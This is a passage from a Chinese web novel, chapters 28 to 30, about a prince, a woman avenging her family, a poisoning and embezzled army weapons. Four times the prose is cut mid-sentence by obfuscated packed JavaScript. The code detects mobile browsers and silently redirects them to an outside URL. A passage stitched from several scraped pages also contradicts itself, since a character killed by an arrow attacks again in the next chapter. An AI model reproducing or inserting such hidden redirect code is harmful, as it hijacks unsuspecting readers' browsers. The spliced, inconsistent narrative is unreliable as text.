剑来狠狠啐了一口，“你个作恶多端的女人，我们王爷怎会瞧得上你！”
琼林做出一副沮丧的神情，“王爷长得一表人才，姐妹们早已垂涎欲滴，却不曾想王爷的手下如此不解风情。”她娇嗔道，“小公子也别急，你虽长得不如你们王爷，可我们这最不缺的就是姑娘，断不会冷落你一人。”
“你！”剑来气急了。
琼林看着剑来的样子，畅然笑道：“你方才说我配不上你家王爷，可我手中这位姑娘呢？我心中倒是好奇，王爷是要救殷姑娘呢，还是周娘子呢？”
朱华庭的心轻轻咯噔了一下，他心中莫名涌起一丝负疚感。
此处凶险万分，他当初竟让一个弱女子孤身前来，实在不该。
他眸色乌黑，就像这无垠的黑夜，“两个人，一个都不能少。”
“一个美人还不够王爷享用吗？”琼林半带轻笑道，“两个美人入怀，奴家好怕王爷的身子受不住啊。”
她的手微微用力，抵在顾静娴脖子上的刀尖又往里进了几分。
密密麻麻的刺痛感传遍顾静娴的身子，血珠转化为血流，从刀刃间滑落在地，化作一朵艳丽的血红牡丹。
朱华庭看着那抹殷红，不知怎的竟回想起血洗顾府的那夜。
那一夜他来迟了，他没救下顾静娴。
细雨之中，他将那具早已冰凉的尸骨抱在怀中，他想以自己的体温温暖顾静娴，可到头来不过只是徒劳罢了。
顾静娴身上一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199928|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道道的刀口，好似一副深红色的画卷。鲜血早已流尽，晕染在白裙之上，刺目而鲜艳。
他已经护不住一个人，如今再不能护不住这个帮他以身涉险的姑娘。
他怒喊一声，“苍翊！”
话音一落，只见四把飞刀如同离弦之箭，划破暗夜，直奔屋顶上的几位姑娘而去。
又随着一阵微风拂过，一道身影悄无声息地飞身前来，仿佛幽灵一般，在瓦片之上游走却不发出丝毫声响。
苍翊又近身抹了一位脖子的脖子，霎时间鲜血如断线的珍珠泼洒在空中，那名女子身体僵直，眼中闪过一丝难以置信的光芒，随后从屋顶坠落，狠狠地落在地上。
见状，琼林不自觉地握紧匕首，看着纷纷倒下的姐妹，她思绪如乱麻。
就在这时，顾静娴从袖间悄悄地取出一枚银针，她找准时机，往琼林环着自己的右手手臂上的穴位快速扎去。
还未等琼林缓过神来时，她气上心头，原本想用匕首划破顾静娴的喉间，让她失血而亡。可她那只手却顿感无力，缓缓地从顾静娴的肩上落了下去。
顾静娴趁此机会，急忙从琼林手上逃生，就往朱华庭所在之处跑去。
琼林心中愤恨，她看着顾静娴跑远的身影，自知没了人质会是怎样的下场，就想拉着顾静娴做个垫背的。
她左手出力，几枚幽影针从袖间飞出，直逼顾静娴而去。
幽影针通体由寒铁打造，细如发丝，针尖却又锋利无比，经过特殊处理，即便是厚重的盔甲，也难以抵挡其一击之威。
说时迟那时快，朱华庭上前奔跑几步，她将顾静娴护在身侧，随后身子一转，以自身作为盾牌，将那几枚泛着幽兰光芒的幽影针一一承受。
苍翊和剑来这时才敢放手行事，苍翊负责与其余几位暗卫搏斗，而剑来则直逼琼林而去。
琼林右手无力，已提不起刀，左右不过和剑来几次近身搏斗，就败下阵来。其余几位也敌不过苍翊，不过几招也就被擒拿。
夜空之中，一道银雷划破长空，犹如一只巨龙在云层中翻腾，须臾，雷声如同战鼓，震撼大地。
朱华庭无力地靠在顾静娴肩上，他额间瞬时间冒出冷汗。
一句话刚说完，他再无力支撑自己的身体，缓缓倒了下去。
他脸色瞬间变得苍白如纸，“你……可有伤着？”
问完这话，朱华庭顿觉自己筋骨酸软，身上仿佛有千万只毒虫在啃食他，他喉间翻涌着腥甜的味道，唇角溢出一丝鲜红的血迹，再看了一眼顾静娴后一双眼睛就缓缓闭上，再无动静。
顾静娴心中顿时一惊，忙为朱华庭把了把脉。
她眸中闪烁着惊恐，鬓边开始生出冷汗，原本一张殷红的脸也瞬间变得毫无血色，她对着剑来喊道：“那暗器之上有毒！”
28. 谋策
密林深处，苔藓覆满树干，蜿蜒曲折的小道绵延不知去往何处，几位穿着富丽的子弟沿途奔跑，夜被惊扰，几声鸟鸣声幽幽传来。
直到一位弱不禁风的姑娘家被数根绊了脚，狠狠地摔在地上后，众人才停下脚步。
姜云炳急欲扶她，“霜儿，你还好吧，可有摔疼？”
周元霜累得气喘吁吁，她的身上只一件薄纱浸润在这月色下，玉白的肌肤若隐若现，若瞧得仔细些，还可以明显瞧见她手臂上深红的伤痕。
她瞪着姜云炳，迟迟不愿意回话。
被这样瞧着，姜云炳心里不是滋味。又因周元霜许久未答应他，他心中急的似有一团火在灼烧，下一刻便甩了周元霜一个巴掌。
“这样瞧着老子做什么，问你话呢，可有哪里摔着了！”
周元霜冷冷地笑了两声，口中有一股锈味。她看着姜云炳这张自己极为不愿意看见的脸，啐了一口带血的唾沫，“滚！”
一口唾沫落在脸上，姜云炳更为气恼，他方想再给周元霜点教训，就有人催促，“趁他们还没追上来，快走吧！”
姜云炳被唤回些许理智，他将周元霜扶起来，好声好气道：“跟我回府，做我的小娘，我一定好好待你。”
“做你的小娘？”周元霜语气冷冷，“你父亲害得我全家丧命，咱们隔着灭门之仇，我每次见着你都恨不得杀了你！”
“那是我父亲的事，与我何干？”姜云炳略显不耐烦，“霜儿，我真的心悦与你！你要是不愿意见到我父亲，不妨我们寻个村子，隐姓埋名做对小夫妻，好吗？”
“只要你留着姜家的血，你就脱不了干系，”周元霜的眼睛若是能射出箭来，姜云炳此时早已千疮百孔。
“你囚禁了我两年，这两年我过得生不如死，你如今一句轻飘飘的心悦与我，就想换我真心？”
看着油盐不进的周元霜，姜云炳心中顿觉厌烦。他从袖间取出一段弓绳，不怀好意地看着周元霜，“你别敬酒不吃吃罚酒，趁小爷我如今还对你有几丝意思，乖乖服个软，我还能饶你一命。”
“我周元霜，即便是死，也绝不做他人的玩物！”
姜云炳明显被这句话给激恼了，他双手将弓绳拉得紧绷，一步一步朝周元霜走去。
周元霜如今早已不畏生死，她最后悔的，就是没能亲手杀了姜云炳和姜松，为自己的家人报仇。
“你说的，这都是你说的！我姜云炳得不到的东西，那我就毁了，也不能让你落于他人之手。”
那根弓绳慢慢缠绕在周元霜的脖子上，姜云炳一双眼睛泛着红血丝，他看着面前手无缚鸡之力的周元霜，心中早已没了先前的柔情。
可他方要用力拉紧绳子，一击飞刀就落在他的手腕之上。
他明显地看见自己的手腕断裂，独留一层皮还和小臂勾连在一起。
而后，疼痛感瞬间席卷姜云炳的全身，他痛苦地倒在地上，哀嚎起来，那声音响彻夜间，惊起几只藏匿于树叶之中的飞鸟。
红绡于树干之上飞身下来，落在周元霜身旁。她小心翼翼地将弓绳从周元霜脖子上取下。
有人想上前营救姜云炳，却被红绡一记眼刀给吓退。
姜云炳身靠知府如今都断了一只手，若是他们被抓，还不知会被如何处置，几人再管不得其他，疾跑消失于夜间。
·
姜府内。
胡氏房中红灯高悬，她正卧在榻上小憩。
身边的叶妈妈阿谀奉承，“大人和公子真是用心，知道夫人这几日身子不适，想着是冲撞了什么，便连夜去庙中位夫人您祈福。”
胡氏听了这话，喜上眉梢，“算他们二人有心，也不枉我们夫妻和母子一场。”
话音方落，府门外就传来哄闹声。
叶妈妈笑道：“想来是老爷和公子回来了。”
胡氏浅笑一声，她拉了拉衣袖，露出香肩，“去，把老爷叫来。他的一片好心，我今夜自得好好报答他。”
叶妈妈唇角止不住地上扬，“是！”
可胡氏等了许久，也未曾见姜松进屋子，直到外头哄闹声愈来愈强烈，她才疑惑地支起身子。
不多时，叶妈妈又跑了进来，“夫人，夫人不好了！”
胡氏忙问：“慌里慌张地做什么，外头发生什么事了？”
“老爷在备行囊，说是要逃！”
“逃？”胡氏面露疑惑，她细细思量一会，知这其中定有猫腻，便急忙起身寻找姜松。
姜松如今已顾不得其他，只疯了似的将府内值钱的东西装箱，等胡氏找过来的时候，他满头大汗。
就是不知，这汗到底是累得，还是吓得。
胡氏看着乱哄哄的屋子和手忙脚乱的姜松，急忙问道：“这是怎么了，老爷，这是怎么了！”
姜松手上的动作不断，他从各个细小的隔间中取出银两，“别问这么多！今夜，今夜咱们就走！”他虽和胡氏说话，却从未看她一眼。
“逃？”胡氏站到姜松面前问，“你们不是去寺庙之中祈福，怎么突然就要逃了？况且，为何要逃，又要逃到哪去？”
姜松一把将胡氏推开，“问这么多作甚，再不逃，你我都得死！”
“这到底是怎么了！”胡氏夺过姜松手上的盒子，将其狠狠地摔在地上，霎时间金银珠宝散了一地。
姜松怒火攻心，没有意识地给了胡氏一巴掌，“还不是因为你那儿子！”
儿子？
胡氏心中隐隐不安，“炳哥儿呢，我的炳哥儿呢？怎么就你自己回来了，他人呢？”
姜松道：“他要死了！”
胡氏给了姜松一个巴掌，“你在胡说些什么！你还我儿子，还我儿子！”
姜松又将胡氏甩开，他没好气道：“你要是想活命，那就跟我逃！你要是不想活了，那你就在这里等你的儿子！”
说罢，他将胡氏摔落在地上的宝贝又捡了几件回来，随后便夺门而去。
胡氏忙站起身子追了上去，她想拉住姜松，可一个一心想要出逃活命的男子，又岂是她一个妇人能拉得动的？
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223099|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>二人就这样拉拉扯扯地走到姜府大门，姜松刚想登上马车，就见一群官兵将马车死死围住。
他看着乌压压的人群，一时间心死，护在手中的匣子落在地上，方才刚拾起的珠宝又落在了地上。
·
莳花楼中，朱华庭双眼紧闭躺在床上，几枚幽影针已从他身中取出，几番折磨之下他嘴唇发紫，气若游丝。
顾静娴将自己本为朱华庭身毒准备的药喂其吞下，又在身上几处穴位施以银针。
可这毒她并不清楚是何物所制，因此如今所做只能缓解毒素散发，不可完全医治。
剑来心中惴惴不安，他双眼泛红问顾静娴，“殷娘子，我家王爷他……严重吗？”
“吉人自有天相，”顾静娴道，“你家王爷会没事的。”
说完，她静静地看着朱华庭，心中冒出二字。
“一定”。
琼林如今被缚住双手双脚，她看着面前二人焦头烂额的样子，喜笑颜开起来，“恐怕，不能如你们所愿。”
剑来闻言，气恼极了。他上前抓住琼林的衣袖，将她整个人腾空拽起，“交出解药，我饶你不死！”
“解药？”琼林笑笑，“恐怕这药，你们得去地府找。”
剑来将琼林扔回地上，随后拔出剑，抵着琼林的胸口，“那我先送你入阴司！”
“剑来！”顾静娴出声何止。
剑来这才止住杀了面前之人的冲动。
此时，红绡带着周元霜走了进来，她似拎小鸡般拎着姜云炳，随后重重地将其往琼林面前扔去。
琼林见了姜云炳，又见他那只骇人的断手，面露担忧道：“主子！”
顾静娴缓缓走向琼林，她紧紧地盯着琼林的眼睛，随后缓缓道：“你要是愿意交出解药，我能替这贱人保住他的手。”
熟悉的声音闯入耳中，姜云炳不可置信地看着那张他无比熟悉的脸，惊恐道：“你……你不是死了吗？”
顾静娴居高临下地看着姜云炳狼狈的样子，冷冷道：“大仇未报，我又怎能死在你们前头。”
“是你和她里应外合？”姜云炳说着，指了指红绡。
顾静娴哼笑道：“楼中佛像是你关周姑娘的地方，也是你为自己准备的出逃暗道。”
看着姜云炳一脸不可置信的样子，顾静娴解释道：“你准备的很好，可却忽略了一点，这佛像年久失修有了裂缝，里头的声音就从这裂缝之中飘出来。”
琼林道：“你早就知道了？”
“我翻遍了整座莳花楼，都未曾找到哭声的源点，所以我大胆猜测，周姑娘被你们藏在这佛像之中。”顾静娴看着姜云炳道，“我和青央以及红绡联合，只要你进楼中消失，青央便做出闹事的样子来，你以为东窗事发想要出逃，却不知自己早如夜间田中的鼠类，被红绡这只老鹰盯上。”
顾静娴手中藏匿了一根幽影针，待她将一切说完，就将其快准狠地扎进姜云炳的身中。
“主子！”
顾静娴看向琼林，“所以，解药在哪？”
29. 地牢
那枚幽影针虽有毒，可到底是从朱华庭身上拔出下来的，毒性也几乎被朱华庭吸收。
如今再扎入姜云炳的身中，毒性虽已经不强，可到底还是使得姜云炳的嘴唇渐渐变紫。
姜云炳看着那根针扎入自己的胸口处，面上明显一阵慌乱，他怒骂起顾静娴，“姜云绾，我是你哥，你敢害我！”
顾静娴冷冷地看着姜云炳，良久后，她不屑地笑了一声，“我母亲只生了我一个，不知你是从哪个狐狸窝里钻出来的？”
“你！”姜云炳一张脸被气得通红，“你果然和顾氏一样贱。”
一个耳光快准狠地落在姜云炳的脸上，顾静娴缓缓站起身子，俯视姜云炳道：“八抬大轿的正室夫人和外室，谁贱？”
姜云炳仰起头，他看着顾静娴，怒喝道：“是顾氏那贱人抢了本属于我母亲的正室之位，害得我在外面沦落数载，日日遭人白眼！顾氏，她死有余辜！”
顾静娴肃穆地看着他。
姜云炳又道：“你何不想想，我比你大，自是我母亲认识父亲在前！所以谁是狐狸精，谁又是狐狸生得，你该清楚！”
他说完这话，一口鲜血便从腹腔中喷涌而上，吐了出来。
琼林慌了神，她忙对顾静娴道：“我给你解药，我给你解药！救他，我求求你救救他！”
姜云炳虚弱地躺在琼林腿上，他虽气息虚弱，可仍不忘逞强，“琼林，别求她。”
琼林抚摸着姜云炳的额头，她带着哭腔道：“我不要你死。”随后又看向顾静娴，焦急道：“你不是要解药吗，我带你去拿。”
顾静娴望向红绡，示意其一同前往，随后又吩咐剑来，“看好这里，断不能让你家主子再受伤。”
顾、红二人被领至楼中佛像之前。
琼林身负重伤，一瘸一拐地往烛台边走去，随后在佛像莲花座之下的一道暗格里，取出一个匣子。
她虚弱地将这匣子交到顾静娴手中，随后便无力地跌倒在蒲团之上。
顾静娴看着她的样子，沉静道：“你这死侍，当真忠诚。不知你这颗忠诚之心，是否后悔效用与如此作恶多端的人。”
“我不后悔！”琼林几乎是立马接上顾静娴的话，她双目变得有神，可额间止不住冒出来的虚汗告诉顾静娴，她如今这样不过强撑罢了。
琼林道：“众人都说他是私生子，是无根的浮萍，可若无主子，恐我早已不知死在何处。他救了我，我自得好好报答他，肝脑涂地。”
顾静娴从袖间扔出一个小瓶子，她处之泰然道：“这药能救你的命，可被你们迫害致死的姑娘，却已无力还天。”
那药瓶慢慢地滚落在琼林脚边，她拿起那药，眸中不知为何流出一条清泪。
·
朱华庭再次睁眼时，已是三日之后。
几缕阳光从窗户照射进来，照在他那发白的脸上，透出几分缠绵的病气。
他轻咳了一声，原本还在地上打盹的剑来顿时被这声咳嗽声吵醒。
看着自家主子睁开了眼睛，剑来笑得像个孩子。他大叫起来：“王爷，你醒了王爷！”转而又痛哭起来，“殷娘子，不对……姜娘子说，你能挺过三日，必定就能好。”
被剑来这样一闹，朱华庭的脸色又苍白了几分，他又咳了几声，才道：“应了殷姑娘的话，我算是熬过来了，可方才被你一闹，我险些又要走了。”
剑来急忙将自己那双原本拉着朱华庭的手抽走，随后乖巧地靠在床边，不再吵闹。
朱华庭听出方才剑来话中的不对，问道：“什么姜娘子？”
一说起这个，剑来又激动起来，“您还不知道吧！”他忽的又想起朱华庭方才的提醒，又降低了声音，“其实殷娘子，是姜家姑娘，姜松的女儿。”
朱华庭眉头一皱便又咳嗽起来，脸上也泛起几分潮红，“她人呢，现在何处？”
“方才还在这，现下却不知了。”
朱华庭合眼，“去找，告诉她，我醒了。”
红绡这时端了药进来，“姜姑娘呀，她去地牢了。”
朱华庭刚阖上的眼又睁开，他看着红绡将药端到自己面前，问道：“地牢？她去那里做什么？”
“姜松及和玉帘庄有勾结的官员都已下狱，姜松是她父亲，她自得去瞧瞧，”红绡边说边费解起来，“说来也怪，姜姑娘到底和她那父亲何怨何愁，步步谋划到这种地步。”
朱华庭思考了片刻，转而掀开被子下了床，跌跌撞撞地往门口走去。
剑来想上前搀扶，却被朱华庭呵止，“别跟来。”
·
府衙牢狱之中，只见两边墙壁之上几盏油灯泛着微弱的光，久不见天日，便连空气都是浑浊的。
因着前段日子下了几天的雨，空气之中都能氤氲出水汽来。越往里走，味道便更加古怪，传出阵阵糜烂的味道，像死老鼠，又像是腐尸。
顾静娴的脚步声惊动了在牢房中的人，有人爬在围栏之上，传来几声哭哭啼啼的喊冤声。
沿着一条昏暗的走廊一直走，直到传来争吵声。
胡氏哭得上气不接下气，指着姜松骂道：“说什么为我求佛祈祷，竟去做这等子腌臜事！这下好了，你自己入狱也就罢了，竟还拖累了我和炳哥儿！”
她一张了嘴，就喋喋不休起来，“我怎么就这么倒霉，嫁了你这么个东西！”
姜松也是被胡氏念得不耐烦了，他冷哼一声，回嘴道：“你若不嫁给我，还不知今日得在何处爬哪个男人的床！”
胡氏容颜大变，她欲上前捶打姜松，为自己出口恶气，却不曾想被其重重地推到在地。
姜松深吸一口气道：“若是顾氏还在，断不会像你这般，疯疯癫癫。”
胡氏额间流出一道鲜血，她恶狠狠地看着姜松，良久后道：“我为了你的仕途，将你拱手与人十数载，遭人白眼十数载，你如今倒念起她的好了？”
姜松不曾言语，胡氏继续道：“当初，你左不过是翰林院里连个官阶和俸禄都没有的庶吉士，是你受了那人青睐，他让你靠近顾家，蓄意谋害。你接近顾书禾本就心思不纯，如今倒装出一往情深的样子给谁看。”
“我倒想知道，是谁让你蓄意靠近顾家。”
姜松和胡氏闻言，二人心中一颤。
姜松原本朝着墙壁站着的身子缓缓扭转过来，他看到顾静娴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252858|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的这张脸，心中大骇。
顾静娴轻笑两声，“父亲见着我，很意外吗？”
倒是胡氏先尖叫起来，“你……你不是已经死了吗？”
顾静娴唇角勾出一抹淡笑，她看着胡氏，似笑非笑道：“继母就这么想我死吗？”
胡氏怒目圆睁，“你居然假死？”
顾静娴神色微变，半带轻笑道：“我若不假死出逃，又如何为我母亲报仇。”
胡氏略一迟疑，不过转瞬，她心中就明白了七八分，“是你，你在背后从中作梗？贱人，你和顾氏一样下贱！”
“我只不过是将你们的罪行公之于众，与你们的罪孽相比，我还担不起这个‘贱’字。”顾静娴看着胡氏和姜松的样子，心中有一股说不出来的喜悦之情。
姜松苦笑了几声，他瘫坐在地，有气无力道：“我姜松当真生了个好女儿。”
顾静娴眉目肃然，语气中略带隐忍，“只可惜，你的好女儿，已在这毒妇手中丧了生。”
胡氏啐了一口，“贱货，你如今好端端地站在我面前，我如何把你害得就死了？”
顾静娴眸光透着哀怨，“可惜我顾氏儿郎一生端正，却被你个奸佞小人陷害。姑父，你当真是我的好姑父。”
闻言，姜松明显一怔，他直愣愣地盯着顾静娴，自己生养十数载的女儿，如今见着却陌生无比，混像忘了个人。
莫非……
他心中顿时萌生一个极为可怕的念想，可怪力乱神一说，他姜松向来不信。
姜松自知如今的局面毫无扭转的局面，他竟愉快地大笑起来，笑得肆意又得意。
良久，他的笑声才渐渐平息，他以一种视死如归的眼神看向顾静娴道：“你的计策得逞了，杀了我，为你母亲和顾家报仇吧。”
顾静娴当真从身侧的狱卒腰间拔出一把长剑，她将剑直直地指向姜松，却不曾动手。
“杀了你，太便宜你了，”顾静娴道，“我顾氏一门于夜中被屠，血流成河，我又怎能让你就这么轻易死了。”
姜松张开双臂，“那你还想如何折磨我，随你的便。”
顾静娴将剑一点一点地刺进姜松的左胸，“我要知道你们方才所提之人是谁，是谁要害我顾氏一门。”
胡氏虽被姜松害到如此地步，可看着自己相爱了一生的男子被剑指胸口，她也心疼起来，“贱人，他可是你父亲，你还敢弑父不成！”
可胡氏的话才刚说完，一根快箭便从姜松身后的窗子中猛射而来，直直地穿过姜松的喉咙。
箭被卡在姜松喉间，他还未曾意识到发生了什么，直到自己无法呼吸，疼痛感席卷全身，他才知是背后之人派人来杀了自己。
他再也说不出话，只呜呜咽咽地倒到地上，他一双眼睛盯着顾静娴，不知是仇恨还是悔意。
不过须臾，便断了气。
胡氏呆站在原地，良久后，她似才反应过来方才发生了什么，她捂嘴失声尖叫，痛苦万分。
下一刻，一颗点燃引线的震天雷通过窗子从外而来。
墙角处，一个身影急忙转身而出，他紧紧抱住顾静娴往外头跑去。
“快走！”
30. 账本
顾静娴看着剑光狠厉无比地劈向自己，猝不及防间，她一个侧身才得以躲过一击，可姜松手腕一旋，那柄长剑还是划过了顾静娴的手臂。
姜松已经红了眼，他看着面前的孤女，已经忘却她是自己的女儿，他如今只有一个铁了心的念想，就是杀了她。
此时，一道身影却从不远处腾空而起，似流星一闪。
朱华庭长剑挥洒，一道刺眼的剑芒如银龙一般直击姜松手腕之处。
霎时间，那只手随着手中之剑纷纷落地。
鲜血喷涌而出，姜松吃痛才恢复些许理智，他看着自己的断臂，大声嚎叫起来。
胡氏忙将姜松揽入怀中，她囔囔道：“老爷，老爷……”
朱华庭本就大病初愈，方才激烈一动，现下里只觉得周身轻浮，一时间站不住脚跟，靠在了顾静娴身上。
顾静娴从方才的惊慌之中拢回思绪，她搀扶住朱华庭，关心道：“你身子还没恢复，需好好静养。”
朱华庭咳了咳，他眉头蹙得很紧，略带担忧地看着顾静娴道：“此等危地，你怎能独自前来。”
顾静娴看了看姜松，她眸中渐渐含了泪光：“我想要问问他，到底为何要陷我顾氏一族到如此地步。”
朱华庭道：“如今他已伏案，我定会还顾氏一族一个清白。你受惊了，回房休息吧。”朱华庭顿了顿，又加了一句，“我送你回去。”
最后一句话一出，顾静娴心中微微一颤。
面前温润如玉的君子，好像自始至终都未曾改变。
·
天暗下来了，淮州被墨一样的黑色笼罩得密不透风。
是夜，寂寂冷辉洒满窗台。
顾静娴坐在榻子上，朱华庭察觉到了她手臂上的伤口。
朱华庭问：“方才伤得？那种地方，你一个弱女子，怎可一人前去。”他语气之中，略带了些许责怪。
顾静娴将伤口用手遮住，“我没事的，现下里最重要的事，就是将姜松所行恶事公布于众，还……还我外祖家一个清白。”
“你自己懂医，常日里总是记挂别人的身子，怎么如今对自己的身子反而松懈了。”朱华庭将顾静娴的手拿开，那道伤痕狠狠地映入他的眸中。
顾静娴不再说话，她任由朱华庭查看自己的伤势。
良久后，她道：“若我不能为顾氏一族伸冤，活在这世上，就如同行尸走肉一般。”
朱华庭深吸了一口气，看着顾静娴的眼睛道：“顾氏的清白固然重要，可你的身子也一样不容小觑。再者，逝者已逝，顾好当下才是要紧之事。”
“王爷身上余毒还在，也不许过于劳顿，麻烦王爷帮我的婢女带来，由她为我上药就行。”
“在她来之前，我总得为你先止住血。”朱华庭刚说完，正巧剑来端了止血的纱布进来。
他看出自家主子眉眼中的担忧之色，却未曾表明，只偷偷地低头笑了几声。
待纱布绑扎好，顾静娴问道：“请问王爷，接下来打算如何处置姜松？”
朱华庭深思了片刻，随后才对顾静娴道：“当日扎进我身中的暗器属于军械，姜松作为淮州知府，定然和这事脱不开干系，我索性就将事情都给查明白了，再将姜松押解进京，于父皇面前分说明白。”
顾静娴从腰间摘下一个香囊，“这里面装着的药虽不能完全解开你的毒，可却能替你缓解一二，你带着，身子一有不适就吃上一颗。”
朱华庭接过荷包，轻声道了句谢。
随后，顾静娴又从腰间将另一个荷包拿下，“孟夫人她如今身怀六甲，麻烦王爷将这药转递与她，并且告知她，接下来便不再需要问我讨药，只需她平日里多加注意，胎儿定能够平安降生。”
朱华庭又接过荷包，他起身道：“你好生歇息，你的婢女我已命红绡去找，想来明早就能与你相聚。”
“多谢王爷。”
朱华庭和剑来走出屋子，随后轻轻将门带上。
剑来问道：“王爷，天黑了，该回房休息了。”
朱华庭抬头看了看天，浓墨之下，星星点点。
他道：“时候还早，你陪我去军器库走一趟。”
“可王爷，你的身子……”剑来颇为担忧。
朱华庭道：“一时半会还死不了，况且我手头上，还有姜姑娘给的药。”
·
军器库中，灯火通明。
弩坊署，一片慌乱。
令丞和军器监站在一处，心中没底道：“这数量与库中相差甚远，如今姜松已经伏案，大人，咱们快逃吧！”
“逃？”军器监冷冷一笑，“咱们脚下，是朱家的天下。再怎么逃，也逃不出他们的手掌心。”
令丞容颜大变，“那不然，咱们就在这坐以待毙不成？”
军器监用手拍了拍令丞的脸，他略带讥讽道：“当初拿钱的时候，怎么不见你害怕？”
“早知当初……早知当初我们就不该听信姜松那贱人的谗言！”令丞懊恼不已。
话音一落，就闻淅淅沥沥的脚步声从外面传来。
令丞略一吃惊，大呼道：“他们来了，果真还是查到了咱们这！”
军器监淡淡道：“既然查到这里，咱们不妨如实交代，或许还能从宽处理。”
令丞像抓到了救命稻草，“他们当真会手下留情？”
军器监似笑非笑地看着令丞，“不试试又怎能知道不会呢，反正咱俩左右都是死路，搏一搏吧。”
那脚步声越来越近，不多时便见一队人马将整个军器库围的水泄不通，如同铁桶一般。
剑来二话不说，直接上前将方才密谋的两位缉拿。
军器监做出一副不知情的样子来，“几位大人，这是怎么了？”
剑来道：“库房账单在哪？”
令丞闻言，毕恭毕敬地将账本递上。
随后一群人入库搜查，不过一盏茶的功夫，就将里头的数目清点出来。
这清点的数目与账目之上，虽相差不多，可都是些残次兵器。若此等兵器上阵，必定被敌方杀得片甲不留。
剑来取出几样给朱华庭看，他左不过稍用力一掰，那杆红枪就从中间断开。
朱华庭冷哼一声，将东西扔在军器监面前，“说说吧，贪走的银子到底入了谁的钱袋子？”
令丞朝军器监处看了一眼，军器监微微颔首，示意其是时候可以将实情拖出了。
令丞便道：“大人，我们也是被人压迫，是……是姜松，是他指示我们做的。”
军器监立马做出一副吃惊的样子来，他指着令丞，一双眸子睁地无比地大，“你身为我库令丞，怎能和外人勾结！”
令丞被听这一句话，顿时昏了头，他不可置信地看着军器监，“大人……？”
军器监忙朝着朱华庭磕头认罪，“大人，是下官的错，未曾想到我库之中竟生了这种贪财的蛀虫。”
令丞这下顿时明白了，这是把自己推出来，好将自己完全摘干净。说什么坦白从宽，无非就是想让自己一人顶了所有的罪。
令丞也忙磕起头，“大人，不是这样的，不是这样的！”
朱华庭自也清楚二人唱得这一出戏，他冷冷地看着二人，“带走！”
·
地牢之中，姜松的断手已由人止住血，由于失血过多，他虚弱地躺在胡氏怀中。
不多时，军器库的两位也被人提着领口扔了进来。
姜松微微睁眼看清二人，他知东窗事发，便装作昏迷的样子，朦胧地闭上双眼。
朱华庭看出他的心思，命剑来上前唤醒这个装睡的人。
看着剑来一步一步靠近，胡氏忙护住姜松，她道：“人都这样了，你们还想怎样？”
剑来厉声道：“他只不过是断了只手，可拿着残破兵器上阵杀敌的将士们，可是断送了自己的性命。”
姜松在官场之上贪墨军械，胡氏一个深闺妇人哪里清楚，她道：“战场之上自有生死，他只不过是一州知府，哪里牵扯得上沙场之事？”
“他这一州知府，野心可真够大的。”剑来说着，拿起自己的佩剑往姜松断臂之处碰了一碰。
原本才止住痛意的伤口被这一碰，姜松再次疼痛难忍，他边龇牙咧嘴边左右打滚地再次哀嚎起来。
“我没做过！”姜松哀嚎间，仍不忘为自己辨解。
原本周元霜和顾家一事，左不过判他个流放之罪。
可如今翻出来的旧账
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262507|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，那可当真关乎性命。
他如今虽深处绝境，可他深知只要保住自己这一条小命，背后之人定能就他于水火之中。
朱华庭对着令丞笑道：“看来这事，是由令丞你一人所为啊？”
令丞跪着的身子猛然一颤，“大人，我只不过是从中协助姜松而已，大人明察啊！那批军械的赃款，相必如今就在姜松手上！”
姜松身上的痛意渐渐淡去，他睨了一眼令丞，笑道：“若你能翻出那笔钱，我就地伏法！”
令丞气红了脸，“时过半载，保不齐已经被你花光了！”
“那你就是没证据？”姜松作出一副洋洋自得的样子来，“我如今虽身在大狱，可还是淮州的知府大人，你诬告知府，该当何罪！”
“你！”令丞被怼的哑口无言。
正当姜松以为自己能将所有恶事推给令丞，自己逃过一劫时，朱华庭从一旁一位侍卫手上打开了一个匣子。
那匣子正中所放的，正是朱华庭刚来淮州之时，姜松所赠的黄龙玉。
朱华庭道：“姜大人，你可还认得此物？”
姜松闻声看去，看到东西时，心中凉了半截。
